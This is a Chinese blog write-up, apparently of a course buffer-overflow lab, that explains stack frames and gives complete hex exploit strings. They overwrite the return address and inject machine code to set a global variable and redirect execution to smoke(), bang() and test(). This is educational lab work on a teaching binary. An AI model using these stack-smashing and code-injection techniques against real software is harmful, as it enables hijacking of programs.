这个实验主要是熟悉栈,和了解数据缓存区溢出的问题。
数据缓存区溢出:程序每次调用函数时,会把当前的eip指针保存在栈里面,作为被调用函数返回时的程序指针。在被调用程序里面,栈是向下增长的。所有局部变量都存储在栈里面(静态局部变量除外)。假设有一个字符串变量str,在str读取数据时,如果缓存区没有进行一定的保护,会造成缓存区的溢出。由于栈是向下增长的,但是对于一个变量,如str,他的数据存储顺序是向上增长的。所以当缓存区溢出时,可能对eip的返回指产生影响,可以通过输入,来改变eip指针的值,从而控制程序返回的地址。
Level 0: Candle
第一个实验,是通过数据缓存区溢出,来对程序进行修改。
程序是一个字符串的输入程序,如果输入超过40个,就会说输入错误。
试验一就是要通过查看程序的栈帧,进行缓存区溢出攻击,通过输入,改变程序的返回地址。
void test() { unsigned long long val; volatile unsigned long long local = 0xdeadbeef; char* variable_length; entry_check(3); /* Make sure entered this function properly */ val = getbuf(); if (val <= 40) { variable_length = alloca(val); } entry_check(3); /* Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%llx\n", val); if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } validate(3); } else { printf("Dud: getbuf returned 0x%llx\n", val); } }
unsigned long long getbuf() { char buf[36]; volatile char* variable_length; int i; unsigned long long val = (unsigned long long)Gets(buf); variable_length = alloca((val % 40) < 36 ? 36 : val % 40); for(i = 0; i < 36; i++) { variable_length[i] = buf[i]; } return val % 40; }
test函数调用getbuf()函数,来输入字符串。然后判断输入的字符串长度。
实验要求,输入一个字符串,然后是getbuf()完成后,跳转到smoke()函数,而不是test函数。
首先,进入getbuf函数,查看getbuf的栈帧。
可以看到,程序的返回地址存储在rip中,地址是:
也就是要通过输入,改变0x7fffffffb1a8地址中的值。
根据程序:
char buf[36]; volatile char* variable_length; int i; unsigned long long val = (unsigned long long)Gets(buf);
我们的输入存在buf这个变量里面,查看buf这个变量的地址:
上面两个地址相减,就是:0xb1a8-0xb170=0x38=56
也就是我们要输入56个字符串,然后再输入想要转化的地址。
现在只要知道smoke的函数入口地址就可以了,
通过查看smoke的第一行的地址,就可以知道函数入口地址
知道smoke入口地址是0x4010c0
只要在最后输入0x4010c0就可以了,但是因为机器是小端法的机器,所以输入要反一下,要输入C0 10 40 00
综上最后的输入为:
30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 c0 10 40 00
前面56个输入,只要不要有换行符就行了
最后的结果:
成功调用了smoke
Level 1: Sparkler
Similar to Level 0, your task is to get bufbomb
to execute the code for fizz()
rather than returning to test
. In this case, however, you must make it appear to fizz
as if you have passed your cookie as its argument. You can do this by encoding your cookie in the appropriate place within your exploit string.
void fizz(int arg1, char arg2, long arg3, char* arg4, short arg5, short arg6, unsigned long long val) { entry_check(1); /* Make sure entered this function properly */ if (val == cookie) { printf("Fizz!: You called fizz(0x%llx)\n", val); validate(1); } else { printf("Misfire: You called fizz(0x%llx)\n", val); } exit(0); }
Level 2: Firecracker
bufbomb
to execute the code for
bang()
rather than returning to
test()
. Before this, however, you must set global variable
global_value
to your cookie. Your exploit code should set
global_value
, push the address of
bang()
on the stack, and then execute a
retq
instruction to cause a jump to the code for
bang()
.
unsigned long long global_value = 0; void bang(unsigned long long val) { entry_check(2); /* Make sure entered this function properly */ if (global_value == cookie) { printf("Bang!: You set global_value to 0x%llx\n", global_value); validate(2); } else { printf("Misfire: global_value = 0x%llx\n", global_value); } exit(0); }
这个实验要求把getbuf函数结束之后,跳转到bang这个函数里面来,然后global_value的值需要和cookie一样。一开始我以为这个和前面第二个的实验差不多,后来gdb进去一看,global_value由于是全局变量,根本不在栈里面,像实验二一样,通过直接改global_value的值是不行的。
.data .text main: MOVQ $0x602308 ,%rax MOVQ $0x704537f05ce48c45 ,%rbx movq %rbx,(%rax) push $0x401020 ret


48 c7 c0 08 23 60 00 48 bb 45 8c e4 5c f0 37 45 70 48 89 18 68 20 10 40 00 c3 00 c3 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 70 b1 ff ff ff 7f 00 00
在这里和第二个实验还有点不一样的地方就是把rip的地址改为了buf的首地址,这样,当getbuf函数返回的时候,会把这段代码作为返回地址,然后执行。
最后结果:
成功更改了global_value的值。
代码,数据,对计算机来说都是0,1而已,没有区别。
Extra Credit – Level 3: Dynamite
getbuf()
to return your cookie back to
test()
, rather than the value 1. You can see in the code for
test()
that this will cause the program to go "
Boom!
"
oid test() { unsigned long long val; volatile unsigned long long local = 0xdeadbeef; char* variable_length; entry_check(3); /* Make sure entered this function properly */ val = getbuf(); if (val <= 40) { variable_length = alloca(val); } entry_check(3); /* Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%llx\n", val); if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } validate(3); } else { printf("Dud: getbuf returned 0x%llx\n", val); } }
这个实验就是让我把getbuf里面的返回值改成cookie的值,和上一个实验都是一样的,唯一需要注意的是,在程序里面有一个local的变量,用来检测栈地址有没有被改变。因为local的变量是通过rbp间接寻址得到的,所以在汇编程序里面需要改变rbp的值,使他指向正确的rbp;
写入的汇编代码如下:
然后把这些二进制的代码写入到字符串,写入的字符串为:
48 b8 45 8c e4 5c f0 37 45 70 48 bd d0 b1 ff ff ff 7f 00 00 68 f3 0e 40 00 c3 00 c3 32 31 32 33 34 35 36 37 38 31 32 33 34 35 36 37 38 00 00 00 02 03 04 20 23 60 00 00 70 b1 ff ff ff 7f 00 00
最后在gdb里面得到的结果:
总结:终于搞完这个东西了,汇编编程还真是麻烦,虽然只有几行,但是错误真是难找。记得第三个实验我传值的时候忘记掉了$符号,结果传进去的值不是立即数,而是间接地址上的数,因为这个错,弄了一晚上,一直以为是自己字符串输错了……真是蛋疼
版权声明:本文为博主原创文章,未经博主允许不得转载。